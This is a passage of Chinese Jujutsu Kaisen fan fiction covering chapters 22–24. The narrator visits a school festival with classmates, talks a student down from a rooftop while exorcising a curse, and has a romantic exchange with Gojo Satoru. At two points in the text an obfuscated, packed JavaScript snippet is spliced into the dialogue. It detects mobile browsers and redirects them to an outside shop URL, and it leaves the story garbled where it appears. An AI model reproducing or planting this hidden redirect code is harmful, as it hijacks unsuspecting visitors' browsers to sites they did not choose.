第二天清晨,你们像什么都没发生一样,坐在一桌吃早饭。五条悟放碗的地方,昨晚曾披散过你的头发,后来他擦了擦嘴就离开,你也在留有香气的椅子上眯了一会。醒来时,夏油杰已经拎着便利店的塑料袋走到了厨房。 看见你醒来,他说:“昨晚谢谢你。” “不客气,举手之劳。” 最后过来的五条悟没再问你们昨晚做了什么,拉开椅子坐下就闷头吃饭。你们如同三个陌生的旅客拼桌一样用完了早餐。 你在尘世间还有许多年要逛,因而懂得其余事物不能和你一样恒常的道理,如此一来五条悟刻意的冷淡也正好帮到了你。气味、触感、拥抱,你并不讨厌他。他是个耀眼的人,即便你们能够同行一小段时间,今天发生于你们之间的事情,你也能做到明天就忘。 你会妥善对待每一次离别的预演。 22. 第 22 章 你们回去高专以后一切如常。下午,你遇见了硝子。 她率先对你招手,白大褂的一角被风掀起,厚实的毛衣露出来:“我以为你会和他们一起去。” “硝子前辈日安,他们出去了?” “咦,你不知道?” 你想,也许五条比他看上去更不自在。不过随便他了,你已经过了好奇17岁少年心里在想什么的阶段,转头邀请硝子:“看来我今天下午不必再待命,前辈,你呢?” “我啊……”她看了你一眼,下秒就应承:“我们去哪里?” 回答得迅速,你想硝子或许有提议:“你怎么看?” “说到冬天,就是校园祭了吧。”她对你竖起一根手指,“说起这个,我以前在国中的同学似乎……” 所以这些到底是怎么产生联系的? 你不清楚,不过你看见硝子熟练地拨出一连串号码,又熟稔地在几秒后和那边打招呼说些什么。又过了一会,她歪头夹着手机,开始脱下自己一边的白大褂,解开一半的时候,还看向你对你比了OK手势。 行程敲定,你们下午去参加她初中同学所在高中的学院活动。 “今天灰原他们有空吗?那边说人越多越好。” “不知道,我也来问问。”你拿出手机,也像硝子刚才那样熟练拨出号码。 “灰原,你有空吗?是这样的……地址就在xxxx,具体还是让硝子前辈和你说,请。”你把电话塞给了她。 最后灰原活跃的“收到,我马上就来”响应热情到你在旁边都能听见。 等通话结束,硝子臂弯的白褂已经交托到你的臂膀:“因为活动,她们今天两点就放课……说是两点,实际自从午餐后的一小时午休,包括后面的一节课--哦,对,你可能没上过学,但是学生在周五和周一状态游离的事情,你大概略有耳闻?反正我们现在这个时间过去,恐怕已经略迟,不过学院直到晚上八点才结束,包过瘾的。你可以帮我把衣服送回去吗?我应该回浴室那边再清洁一番。半小时后见。” “再见。” 说到清洁,其实你从昨晚起也没洗澡,不过不管了,你不说谁知道? 当你如约来到校门口时,朝气满满和下午坏的两位同期已经在门口匾额处:“久候了,二位。” “铃木,好久不见!” 你稍加回忆:“两天前早课我们还见过,灰原。” “比喻,只是一种说辞,不过我好想你哇铃木,你总和前辈们一起。” “有关那个,其实也不过半个月……灰原,你是不是还有点粘人?” “啊没有没有没有,”他摇头否认,还试图拉上另一名同期:“七海,铃木说的太过分了,对吧?” “所以--”被提起姓名的高挑金发同学向他索要一个答案:“为什么非要拉上我。” 他的平淡叙述恰好侧面应证了你的论点,灰原急迫为自己申辩:“那是因为和家入前辈还有铃木两个女孩子一起出去玩太不好意思了!” 起到了反效果:“所以你就拉我下水?” 灰原敏锐地后退一步,不幸磕到门框,七海也并不真要和他计较,他目光转向你:“还没问,和前辈出任务怎么样,还跟得上吗?” 熟悉七海的你们都知道,这就是“放下”的标志,灰原顺着台阶就往下走:“对啊铃木,和两位前辈的任务学到了很多对吧!” 你是二级,他们是特级,你在高专自由行,他们又去了别的地方,显而易见:“没跟上也不是什么坏事,学会了高效率撰写报告以及和辅助监督的沟通技巧。”你的车轱辘话已经是next level。 七海不含感情地指出:“哦,你在打杂。” “那你肯定也有很多收获的!” “收获么,”你想到昨晚无光的走廊里唯一的蓝色光源,五条悟认真而不含情绪的双眼,还有他炽热的吐息,扬起一个微笑:“算是吧。昨晚我帮了一个原先准备跳桥的年轻人,给予一定生活的期望。或许他会投身报答社会的未来事业。” “真是了不起,不过这也是我们身为咒术师的本职工作。拯救他人。” 你对灰原的觉悟给予肯定:“嗯嗯嗯。” 七海:“……你们绝对不是在说一回事。” 谁说不是呢? 硝子是此行的通行证,在她到来之后,你们四人踏上愉快的普通高中之旅。 “说起来我们三个都是有国中经历的,夏油也是。星夏,你现在和五条一样特殊了。他是咒术世家,你呢?” “我失忆了。”你对自己的过去三缄其口,“所以你们三个都有过校园活动的经验了,一般学生们会做些什么呢?” “拍照片,录视频,帮忙搬东西,聚餐。”灰原阐述忠厚老实、甘于奉献学生的三年。 “做完必要的事情去空教室看书。在放学的时间离开学校。”这是中规中矩但渴望离群索居的七海。 “和同学一起。”最合群的家入硝子揽住你的肩膀:“我同学开设了一个美甲的摊位,星夏,你可以提前思考喜欢什么颜色了。我们有预留的两个位置。” 有关指甲,你早就想好,只是要么预算早早用完,要么懒得为它特意跑到商业街:“黑色,纯黑就够了。”不挑款式,不挑美甲师,有手就能做。 “很酷。”她如此评价:“我想要粉色的,也许加点红色,明天就是平安夜。最后封一层透明的甲油,结束。我的同学在外面兼职过一阵子,如果你改变主意的话也可以选更复杂的款式。” “圣诞啊……”你听她说起才想到这件事:“挺好,也快新年了。就黑色吧,不过或许我可以做个延长,如果她们方便的话。” 硝子在下车后和你两人走在前面,街道不冷清,等候绿灯的时候你们并不孤单,行人三三两两聚集在一边。这时她才问你:“你是怎么被丢下的?” 她还是太全面了,你低调遮掩:“昨晚没来得及回高专,这两天任务也不少,可能他们有意体谅。”你从不在自己身上找理由,因此不内耗,所以如果出现不寻常的事情,那一定是他们事出有因。 “真的吗?我怎么没觉得他们会关心人。” “唔,那我也就不太清楚了。” “如果我请他们一起过来?” 你顺畅接话:“能让前辈们在辛苦的任务后放松片刻也是很好。” 你不清楚她有没有联系两个同期,但你被放过,硝子说:“我们先做美甲。” “好。” 事情就被你们两个独断定下。灰原爱热闹又随和,七海单纯不在意,于是你们跳过学校礼堂正在举办的各班各社团表演节目,直达还没热闹起来的小摊。 你在路上用入园就发的招待券给灰原和七海一人买了一杯饮料,提前安抚情绪。 “不用把我们当小孩……” “七海,好喝!” “……” 硝子问你:“他们一直这样?” “包拆台的。”你这样作答。 “不要紧,二年级那两个有时候更……我想你也知道。” 这个时候你就顺嘴讲起了车轱辘话:“前辈们身上有很多值得我学习的地方。” 硝子又拧你的手背。 你最后还是选了黑色:“简单、哥特、气质佳。” “好,那我先做,我的复杂。”你的前辈在上高专之前也有过自己的生活,比现在更无忧无虑。而今,她眉宇间的一抹半永久的愁色被喜悦替代,因此你也透过其当下的脸见到了国中时的她。 也许这也是她本可以在普通高中的模样。 “你带他们到处逛逛,等我快好了发信息给你。”硝子还把她的券匀一半给你,“别走丢哦~” 你们三人路过一个鬼屋,你停下脚步:“有人想试试吗?” 没人应答。 你带他们往前走,扔飞镖:“奖品是毛绒玩偶和咖啡厅的蛋包饭。” 灰原兴趣不大。 你的导游耐心值在第三次告罄,你在弓道体验处停下:“我要试试这个。” 最后…… “实在抱歉,由于弓箭是具有杀伤力的武器,并且引弓、瞄准、射靶均没有辅助器材和防护措施,如果初学者以不正确的方式行动,可能会造成身体损伤,最差甚至伤及他人。” 你总结了一下他的委婉表述:“也就是说你们的展位仅仅供参观,是这样吗?” “啊……当时社长这么说的时候我就觉得行不通,没想到学生会居然通过了,真是伤脑筋。大家也太乱来了,明明这种漫长训练单一而回馈慢的运动一点也不适合在短暂的半天里展示,这样的话弓道的魅力根本无从体现,不过即便如此对于武器的敬畏也……” 接待你的少年突然就开始了碎碎念,你打断了他:“我有基础的,不过是轻型弓。别难过了,它并没成为失落的技艺,短期之内也不会。同时,我认为箭矢不顾一切扎入靶子的那一刻快乐,其他运动难以企及,这份力量和心境的博弈甚至连枪支射击都比不上--除了扔斧头,不过那并不算什么系统的运动,所以还是弓箭小胜。” “……” “就这样,告辞。” “等等,你是哪所高中的学生?” 你背过身去对他们招招手,不再理会。 “他们不让试。”你想他们两个应该早就听见了,不过还是重复了一遍:“其实我没射过箭,那是骗他们的。不过我真的用过枪。” 灰原一秒上当:“真的假的?你刚才说的好真,我以为你在高专练过弓箭。只是我们不知道而已。” 触类旁通嘛,你朝他wink:“假的。说到弓箭,虽然房间里一直有,但我也没见谁借用过。由于术式原因我还是更偏向近身作战,更确切点,我还是喜欢我的这把小刀。” 随手就能在内衬里掏出来。 七海被你的热情吓到:“……有必要上哪都带着吗?” “有。”校园之旅也讲究事不过三,这些年纪轻轻的小朋友铺设的低成本摊位不足以引起你过多兴趣,第二项议程被你搬上来:“我打算去女厕所,教学楼,体育场,医务室几个地方看看。对了,还有天台。” 别说你金发的同学,另一位热情洋溢从不疲劳的同期也后退一步:“铃木,今天就……休息吧?” “和前辈们一起唯独有一点不好。”你既然抽出了这把玩具一样的刀,就在手中翻转花样把玩:“夏油前辈对咒灵有硬性需求,五条前辈出手快如闪电。然而说到不顾一切扎入靶子的真实感觉,还得是自己出手。” 你的目的不在于此,不过他们信了最好。 七海扯着灰原的外套就转身:“我想去咖啡店喝一杯。” “那个,铃木我也有点,就是……我们晚点见!到时候一起听会场的音乐社 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13664980|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇滚啊!”可怜的孩子,这理由烧掉了他一天的谎话。 硝子给你发信息的时候,你已经在不同楼层厕所最里头的水箱里捕获数名咒灵。真奇怪,她们怎么都喜欢在最里面的隔间发表负面情绪呢? 家入硝子:还剩两个手指的透明层,可以过来了。 你回:好的,我在女卫,稍后。 说是这么说……你的小技巧判断几米之隔的天台上还有一只低级咒灵,来都来了。这是一只特殊的咒灵,它的行动欲望比较强烈,这会正在楼边缘。 你想,耗费不了多少时间。 直到你到天台,见到了一个已经攀爬到防护网最顶层的学生,还有攀附在他身上的四级。事情变得大条了。你已经连续两天碰到喜欢跳高的男学生。 看来冬天的咒灵事故虽相对较少,但许多人的忧郁情绪也排解不了……一切只不过是堆积到夏天爆发而已。 有始有终是一个好习惯,你拿出手机咔嚓拍给硝子:救助失足学生,请美甲那边再等等。正好这里有个四级,我顺手清理。 “我以为你是来帮我的。”你发信息的速度并不快,不习惯九键输入,等发完这条消息,从防护网探出一个头的少年又回头看你。他眉眼清秀,还有一颗半露的虎牙。 比昨天那个清爽不少。要说的话大概就是同一道菜用猪油和用少量橄榄油的差别。毕竟……能独立产生咒灵的人,身上多半有难以排遣的伤痛,人一旦痛苦,他的灵魂就更具有观赏性。虽然人并不是为了供观赏而活在世上。 你确认发出了消息,才有闲暇回应:“是这样的,你要下来吗?” “……我不。你真的是来帮忙的吗?” “对。”你的回答确凿无疑,你看他的眼神平平无奇。 他的双手就像环绕某个人的肩膀一样绕出围栏顶端,尖尖的铁丝戳在臂膀和腋窝处显然称不上舒适,然而那学生仍然一脸开朗,沟通欲望强。他与你热切攀谈:“看你校服样式连校徽也没有,样式也不是附近几所学校的,你是谁?” “一般路过的好心人。”你对他伸出了手:“我的指甲好看吗?” 他没问你为什么说出如此奇怪的话,还深长脖子看了一下。你方便他目视,稍微走近两步。他终于看清楚,失望:“这不就是素甲,连透明油都没上。但是你的手型不错,做的话会很好看。” “对,我现在本该在几十米外的美甲小店里伸出我的右手,这样她们就会帮我涂油。”你收回自己的手,“谢谢夸奖,这是为了回答你一开始的问题。” 硝子回复了你:真是勤劳的学妹,过会请你喝饮料。七海和灰原呢? 你打小报告:他们已经在咖啡厅了,不用给他们买。 “喂喂喂,你也太不负责,小姐,你还在关注我吗?” 对方抱怨似的挥臂让你瞧见了他长了茧的右手,中间三指的指肚白而突出。这样的手你今天才在另一个人手上见过。 “你是弓道社的?” “……你怎么知道,你是我的粉丝吗?还是说跟踪我?”他受惊一样收回手指。 你重复了一遍:“一般路过的好心人。你确实长得不赖,但是我见过更好看的,所以……” 他吸一口气,非常日式地脆弱了:“太失礼了,小姐。” 你对日本人这点倒稍微有点兴趣,也许你就爱看别人受伤的样子:“先怀疑别人跟踪的比较失礼哦。” 他沉默了一会,随后自我介绍:“我是弓道社社长。” “很高兴知道。”你说话淡淡的,然后你开始攀爬围栏。 “……你在做什么。” 他说完话后你已经一跃到了顶端。浑身的重量就压在细而薄的铁网之上,一边是二米多的平台,一边是视野开阔的深渊。你还好奇地在上面垫了垫脚尖,这幅无畏的样子让原本轻生的少年都捏把汗。 “你不会也是来跳--” “不是。”手机铃响,多半是硝子,前辈优先。你对眼光独具一格的弓道社长伸出一根手指,请他噤声。 家入硝子:拍到你了,别太引人注目,已经有同学汇报老师了。 你看到了自己在她手机里成了一个黑影,木棍一样在高楼上。你的旁边是一个白点,无疑是弓道社长。 你推想时间,预估还有四五分钟管理人会到达现场。而你还需要下至少一层楼梯。 于是你说:“我要走了。” “……” 你本来是想拍他的肩膀的,然而高度不够,便弯下腰来,伸手揉乱了他黑色的头发。咒灵如同菟丝花一样攀附在他背上,一缕往高处生长,在颈项盘桓几圈,又直直伸入发间,在脑后摇晃。 他的样子令你想到被海洋垃圾缠绕的海豹。敏感又多疑,但肉眼可见需要帮助。 不过他具体困于怎么样的境况,你知晓的兴趣不如对黑色和你手指的适配程度大。你从怀中抽出银亮的素刃,切下了捆缚他的咒灵,也顺带削去他的一缕头发。 车轱辘话搭配心灵鸡汤:“再见。不管怎么说,希望你能享受人生。生也好死也罢,也就是这些年而已。” 你在空翻落地后正对着一脸呆滞的他。 惊疑不定的少年还摸了摸自己的脖子。 那上面什么也没有。 “你是--” 你用一声关门回应他。 今日业绩--10.是个好数字。 23. 第 23 章 你做了黑色的指甲,过程中,你听见有人说到弓道社的帅气社长因为爬高被训斥的事情,不以为意。然后就是一些夸他帅气成绩又好的评论云云。 “是硝子的后辈,我和她已经有些日子没见面了。听说你们这是职业学校?” “是。毕业出来包就业的。” “哈哈,你说话真有趣。你是什么专业的?” 你想了一下:“工程项目现场助理。” “哦……”硝子的初中同学声音拖得很长,一般人在遇到不理解的内容但又不愿意显示出自己一无所知的时候,就会这样,她换了话题:“如果单纯是黑色或许有些单调,想要加一些图案吗?” 你因为这个女生的提议认真思考了起来,片刻后,你询问她:“你听说过恶魔之眼吗?” 你双手都做好大半,只剩右手无名指的图案待画的时候,先是七海和灰原回来了。 “铃木,让我看看你的手。”灰原帮你带了一块栗子糕。 你举起手,手背对着他。他评价:“好看,和家入前辈不是一个风格的。” “星夏,这是你的同学?” “是的,这是灰原,旁边那个社恐是七海。”你抽空介绍了一番。 “七海?我以为那个帅气小哥是外国人。” 他站的远,又不愿意说话,解释权全在你手上:“丹麦血统比较强硬,实际上一直在日本长大。对了,他单身。” 她拍了一下你的手背。 硝子一只手也搭在你胳膊上:“你看七海是想加入的样子吗?” 你说:“哈哈哈。” 如果七海可以逃,他会走的,只可惜现在…… 你对硝子的普通人初中同学说:“刚才是个玩笑,还请你见谅。其实七海是不婚主义者,我们年级很多女生不爱学习也会为了他来学校,但是他反响平平。可能小帅的男生都比较高傲。” 这句话在你的两位不带你玩的前辈来到现场并引起一些轰动后得到了应验。 你有了念想一段时间的指甲,还有墨绿色的神秘学花纹在其上,在你和本日最佳美甲师告别一段时间后,你们四人走在人越来越多往礼堂涌去的路上。 你听见此起彼伏的惊呼。 唯独七海没有回头,他正在心情的低谷。你之前还安慰他:“其实长得有点好看不是什么坏事,你看我们就没人搭讪,其实虽然硝子前辈和灰原不说,但我知道他们是有点羡慕你的。” 硝子:“没有。” 灰原:“……一点点吧。” 硝子没有,你顶上:“嗯嗯,那就是我和灰原其实内心都非常羡慕你。” 见效甚微,否则他状态该好起来的。 路上还有人对他用英语说:HOW ARE YOU 你如果是七海,你就回:HOW DARE YOU 不过他不和陌生人计较,甚至懒得搭理他们。 你回了头,看见人群中央无论是身高还是样貌都鹤立鸡群的两人。他们也都看见了你,夏油杰对你招了招手,五条悟转过了头。 对吧,小帅的男生都比较高傲。 夏油杰一路越过人群,和你们汇合:“没想到你们会到这种地方。” 确实,眼前热闹的场景是你们在高专难见的,你也缺少相关的经历,此时看到一个以前也上过国中的,便问他:“前辈,你和你以前的同学还有联系吗?” “很遗憾,几乎不碰面,也不聊天。” “算不上遗憾,七海要窒息了。”你像普通的后辈一样对他问候:“托硝子前辈的福,我们过会能去看音乐社团演出,现在还逛了一圈。” 咒术师大多不太外向,仍然在远处享受少女少男瞩目并乐在其中的五条悟算是个例外。 “不客气,你们任务完成,需要先吃点什么吗?”硝子走到你身边,自然挽上你的胳膊,她也把你的左手举起来:“我们一起做了指甲,星夏还救了一个想要跳楼的少年。” 他迟疑了:“昨天晚上似乎也……” “夏天太浓艳,不适合死亡,或许内心冰结的人渴望把它留到冬天。”你像是也感受到几分冰寒,搓了搓露在外面的脖子:“那人身上有个四级,海藻和潜水者一样,他没窒息,看上去也快了。那些负面情绪只朝向自己的人比乱散发恶意的好上不少。” “……嗯,也是呢。”他声音有点低。 “咖啡厅栗子糕挺好吃的,去吃两个吧。”你指了反方向:“现在朝会场的人多半是为了占座位,重要的表演要在一段时间后。” 夏油杰“嗯”了一声。你就准备回头接着往场馆走。 硝子拉住你的手:“你让夏油去吃点东西,结果自己跑掉了。怎么会有这种事情?” 你说:“我不饿。” “……”硝子摇了摇头,松开你手:“行了,那我去,你们三个先去找座位坐下。” “可是我好像还有点饿。”灰原也挤了过来,你们几个人就像顽固的石头一样杵在路上。 “灰原,你只是想和夏油前辈……”七海想到了人流的方向,也许因此他改了口:“我也想去咖啡厅。” 如此一来你就没什么选择余地,你也随大流:“还等什么,大家,我们走。” 在人群中,好像有谁扯了你的衣角,而且缺德一样,力道相当大。你回过头,只看到在你斜后不远处眼睛朝天上看的五条悟。 他不至于这么顽皮吧? 嗯……不好说。他这个人,你也不清楚会想什么。 咖啡厅已经几乎没有人,你们走到一桌靠窗的圆桌深座旁,圆弧的座椅,花苞一样的形状。你是倒数第二个进去的,在你落座之前,外面的最后一个五条悟还撞了你一下。 他这人啊…… 你不给他一个眼神,往里头坐,挤在灰原身旁。 “铃木,你别挤我,而且你头发好香。” “前后两句一点联系也没有。” “你靠的太近了,所以我才闻到。” 你伸手敲他小脑瓜:“可把你聪明的哟。”然后稍微坐远了点。 左边是敬仰自己的后辈,右边是善解人意的同期,你觉得夏油杰的疲惫应当比较容易消解。因为他看起来是那种需要陪伴的类型。 你低下头去处理自己的那杯酸奶和谷物,安静地不参加他们闲聊,只是在一边听。 等到前往会场的时候,日光早就黯淡,月亮流淌银雾,洒在你面前路上。你听见后面一声不确定的呼唤:“小姐?” 起初你没回头,直到他再凑近,也更加急促:“我是你下午才见过的……” 你停下步履,本来就是团队里最后一个,现在更拉远了距离。在队首的五条悟因此回头看你,再然后……大家一起停下等你。 “有什么事吗?” 他大概也明白了你和前面一行人是一路的,语声有些紧张,几乎是在对你小声抱怨:“你下午可把我害惨了。” “嗯,不至于吧?怎么了。” “你走的时候把门锁上,我被教务处领导批评,要写报告。那可是3000字。”这会他穿着弓道服,一双瘦削的胳膊从半长的袖口延伸出来,现在它们垂在身前,他的双手拘谨交握在一起。 “谁让你贪玩爬到那么高的地方去。”你看到他额头上绑了发带,零散的碎发遮挡在之前。他的眼睛在月亮下熠熠闪光。 “我那是……今天谢谢你,你们现在是要去看表演吗?” “是,你呢?” 他随即邀请你和他一起:“现在过去恐怕已经没有靠前的座位,甚至可能只能站在后头,你想和我坐在一起吗?” 他怎么会问出这样的问题?显然你不想。正待你要拒绝,他像背课文卡壳半天终于想到下一句的差生一样爆发出后面的话:“我们社团的位置比较靠前,视野也不错。总之……就当是对你下午的感谢。” 气氛变得奇怪起来。打破它的竟然是七海。 他说:“铃木,我真羡慕你。”毫无感情的语调就像是外国人对着五十音图罗马字母把读音读出来那样。 “七海,我待你不薄。” 你转头谢绝此人的好意:“不用了。我想和同伴们在一起,不必放在心上,举手之劳。” “……”此人的目光像一只小狗,但小狗的眼光中不当有羞耻和怨诉。你忽然觉得有些好玩,伸手就摸了摸他的颈项,温热的,仍有脉搏,血液鼓动:“这里,感觉好些了吗?” 你对此人最后的印象就是他留下电话号码纸条上娟秀的字体,还有他因寒冷而粉红的脸颊,以及贝壳光泽的眼下。 电话号码随即就被跨了几个大步的全场最高从你头顶降下手的五条悟从眼前抽走。 你回头的时候已经被揉成一团。难为他从你们中头一个跑到最后的位置来。 你请教五条:“不还给我吗?” 他这个始作俑者比你表现得还要理直气壮:“你还想要回去?!” “算了,你不给也行。”细想之下他昨天才亲了你,虽然后面又讲了些很是奇怪的话,但直到现在也才过了不足24小时。他生气也不算不正常。 反正青少年人就是会对不属于自己的东西有莫名其妙的占有欲。 “你什么意思?为什么还突然摸那个人的脖子?”他质问你。 “……”你移步到家入硝子旁边,不理五条悟。你慢半拍一样得出了五条悟昨晚得出的相同结论,以后不能亲他了,他有点……喜欢牵着别人鼻子走,但又不能接受反过来的小毛病。 你们继续往前,现在,五条悟站在最后了。他的目光透过墨镜和你厚厚的外套,如果他有实体化的能力,你或许会感受到芒刺在背。 硝子问你:“那人什么情况?” “不知道,吊桥效应吧。”你没把他放在心上,随口说:“对于有些人来说,爱与死亡只不过是一条路径上的不同节点。依我之见那个人不是,他既然有了求偶的心思,恐怕现在也没那么想死。剩下就和我没关系了。” 硝子哎哟了一声,你朝她看,她一脸调侃:“你看得出来啊,我以为你呆呆的对这方面不敏感。” “……说不上来,他挺有趣,但我还有更重要的事情。”你现在的当务之急是在二年级结束前成为一级咒术师,然后独自执行很多很多任务。这是一个弱肉强食的世界,你不抗拒新的力量,生得术式和反转术式,你都会好好练习,为此帮发掘、培养你的高专多干些年也不成问题。 你的时间还很长。 “哦……”她拖长了语调,后面这句话是凑近你小声说的:“你和五条是怎么回事?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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啧,好霸道的说辞,不过是五条悟倒也正常。你反握住他的手腕,食指恰好扣住他的脉搏。你听说古代中国的医生可以通过脉象浮沉快慢判断一个人的健康,你不行,你只能感受到他脉搏跳动快而有力。 脉率和心率节奏大抵相同,所以他的心脏跳得也差不多这么快。这么快,和舞蹈一样永不休止,永不停歇。 鼓手敲响鼓与镲,人群沸腾如鼓上黄沙,莎啦啦地颤抖翻滚,你们就是在这样的背景下说悄悄话。 五条也许正是因为这个感到刺激。 你抿上嘴唇,像在使用一张口红纸那样轻柔,齿关压住上下两篇唇瓣。过了一会,你告诉他:“这里有点……”你犹豫了,不知道是该说吵还是热,实际上两者你都没什么感觉。 最后你直接说:“我出去一会。” 你松开他的手。 真是巧合,在你出去不过两三分钟,在有淡淡烟味的寒风中透气时,你又偶遇了五条悟,眼里的光盛过月亮。 你那时正在门口踢走一块小小的碎石,听隔壁学生和一起出来的同学吹嘘自己曾经的乐队比这还前途明朗。他的同伴社交性质地奉承一些“可惜可惜”之类话的时候,你偏头迎上五条悟的目光。 你说:“好巧。” 然后你就注意到他抿唇时与你不同,形象点说,他似乎把嘴唇当成了牙齿,想要用它咬碎什么。五条走到你身前的几步路一言不发,等他站定了脚步,与你脚尖对着脚尖,他才开口:“你想做什么?” 你盯着他看。你从没暗示五条悟什么,是他自己一股脑跟了上来,虽然这几十个呼吸中,你确实在等待他。 他似乎也意识到了自己发问得突然,如今再就之前的话往下说只会显得越来越迫切和可怜,他瞪了你一眼。打定主意一样不开口,双唇紧闭。 你们近到触手可及,所以你再一次握住了他的手,温暖,厚实,骨节分明,指甲短而干净。他触电一样颤了一下,但没有移动,也不缩手。你告诉他:“谢谢你帮我,不管哪一次,都谢谢你。如果你愿意听的话,我还可以说很多感谢的话。” 其实你也没想好要和他说什么,不过既然说话的权力被交到你这里,不妨就接着刚才的话自由发挥,除了掌心相贴的两只手,你不逾矩也不无礼。 他缓慢地张开手掌,以十指相交的方式回握你的手,你被热力包裹。他低头看向你:“你太……太狡猾了。其实你根本没有说的那样,那样在乎我。不管别人做了什么,没做什么,在你这里都是无关紧要的事,吶?” 五条悟毫无攻击性地低声控诉,最后的尾音是你从没听过的,上扬但黯淡,像通电到最后却因为停电而突然停止发光的灯泡,光和热力俱散。 倒不是说瞧不起谁,只是一般人通常会认为你慢半拍,你没想到五条悟平淡地指出了你没刻意伪装的这点。 你答非所问:“还好吧。” “还好什么还好,你要不要听听自己在说什么!”他突然加快语速大声指责你,声音也重新恢复平常的活力,听起来精神振奋:“你还是不说话比较好。” 他的脸靠近你,只在即将触碰的时候停顿一下。你没动摇,他的嘴唇覆盖了上来。你被充盈蜜桃香气的空气围绕。 在他的嘴唇离开你的时,你的嘴里多了颗含化一半的糖。 桃子的芬芳也在你呼吸中了。 24. 第 24 章 在那之后他才问你:“你和杰是怎么回事。我是说刚才。” “没什么,他人挺好的,对我也比较照顾。”你抹去唇角水痕,又轻舔了一下,“我记得你们才是关系最好的,你为什么不去问他呢?”你相信夏油杰能给出妥善的回答。 他恢复先前的没好气态度:“那他就会问我为什么这么在意了。” 你又问:“那你为什么在意?” “你--”他哽住,过会哼了一声:“明知故问。” 眼见未必为实,耳闻也未必为真,然而如果连话都不肯多讲一句,不情愿挑明的,你就不予记录在案。你点点头:“好吧。” 五条悟想亲你,不代表他喜欢你,也不意味你们就是关系亲密的人……你猜他是擅长悬崖勒马的人,不会被一时的感情束缚,你甚至不晓得他的悸动是从何处起。 “你不许联系那个人。”他警告你。 “号码不是在你那吗?” 他的声音骤然变大:“不在我这你就要联系他了吗?!” 你略加思考,否定:“不会。我不打来路不明的小纸条上电话。” 你感觉到有人在朝你们靠近,于是补充了一句:“当然,夏油前辈,我不是在说你。” “……” 夏油杰在五条悟质问你有关纸条的事情时就出现在礼堂外,他没有很靠近,只不过并未刻意掩盖存在感,因此也一点不算偷听。 你也是才想起来在你们见面的时候他给你塞了张电话纸条。 “铃木,我没那个意思。”他缓慢指出:“而且你没有打我的电话,后来那次是我没办法放心,特意去找你。” “嗯?特意的。谢谢前辈。”说起那张纸,后来它去哪里了。你没想起来,也许它在某个口袋里,后来衣服被你扔了。你开口:“我其实准备打来着。” “是吗?我觉得,你没有。” 奇了怪了,今天一个两个人怎么都不爱听话,执意找你讨说法? 你认真回忆,试图找到一点辩驳的素材,却在记忆的取证过程中意外发现你从拿到纸条到它进垃圾桶不过5分钟路程,有一种玩探索游戏意外发现自己是凶手的证据的无措感。 “……好吧,我以前遇见过各式各样的人,社会环境泥沙俱下的21世纪,你应该不会为了这种事情责怪我吧?” 夏油杰一点也没有责怪你的意思,所以你们三个人整整齐齐地回去了会场。 你不得不大声地在硝子耳边解释:“刚才人太多了,我想出去看看。后来两位前辈也一起出去,再后来我们就回来了。” 她似乎很因为热闹的场面沉迷,并未认真听你在说什么,只是胡乱点了点头,凑到你脸边上,不慎和你来了个贴面吻:“这时候我们应该喝一杯!” 她为与人群融为一体而快乐。 不过终究还是短暂的。 在散场之前你们就收拾离开了这所学校,硝子的同学还前来送你们到巴士站。 你没错过女生之间的讨论帅哥环节,也确凿无疑地听见了她的小声尖叫:“开玩笑的吧,你的同学这么帅气!” “我跟星夏长得也不差啊。”硝子的手在空中画圈,看样子是在打节拍。 “嗯……但你的同学,更……” 这是一个美少女卷如打工仔,而俊秀少年稀少如企业家的时代,前者总被后者挑选。但再说下去就要伤人心了,就算没人会被伤害到,你加入了这场对谈:“前辈你也是单身吗?我和硝子前辈也一样。” “因为在学校里总感觉有其他事情要做,虚无缥缈的恋爱反而是最容易被耽搁,毕竟感觉的事谁也说不准。” 你肯定着她:“是呢是呢,我在初中的时候也喜欢过一个男生,后来没在一起。现在也觉得恋爱是没必要的事了。我呢,还是很相信缘分一说,灵魂伴侣什么的总会碰到。” “诶,看不出来你也是恋爱过的?星夏,我看你像是没接触过什么男生。” 此时,五条悟的鼻子里发出哼的一声。 他感冒了,你确信。 你摆摆手:“那时候不懂事,喜欢小黄毛。” 七海咳嗽起来。 你接着说:“现在好起来了,我觉得还是正统黑发黑眼比较适合亚洲人体质。就像我一样。” 你在胡扯,除了被哄得开心咯咯笑的普通高中生以外大家都知道。首先,你没上过初中。然而……五条悟的手背还是不经意间甩到了你身上,你像被打了一下。右手在胸前揽过左臂,不让他再不小心。 分别的时候,她还送了你们一把仙女棒。 “本来想和硝子一起放的,但是没想到你们有那么多人……就送给你们吧,不过要注意安全,别在学校里玩嗷~” 你、硝子、灰原,下了公交车以后就玩了个爽。在山上玩,一点不可取。 好心的前辈提供了打火机。 “以后开通副都新线我就没那么好运能带在身上了,听说他们2008年能通车。”硝子收回她的宝贝,闪烁花火的光在空中随她右手划过一个稍纵即逝的爱心,前端没追上,后端就消亡。 她又开始一字型抖动。 “地铁吗?”你对地铁的印象顶峰就是伦敦松弛感拉满的维多利亚线。计划拟定后10年才开始动工,两三年完成第一段,后来剪彩,再后来……好像是剪彩后的有一些年才正式完成。你对安检了解不多,但是:“放兜里,问题不大。” 灰原阻止了你:“铃木你不要教坏前辈,话说你以前坐过地铁吗?” 你回忆了一下,皇冠和绿树图案拼贴的瓷砖,女王的图像和人来人往的月台。你应该坐过,所以你说:“大概吧,反正他们买票也不看身份证件。”你上高专之前哪有这东西。 “哇,是东京黑户吗?铃木。”硝子一根烟花放完,从后面靠在你肩上。 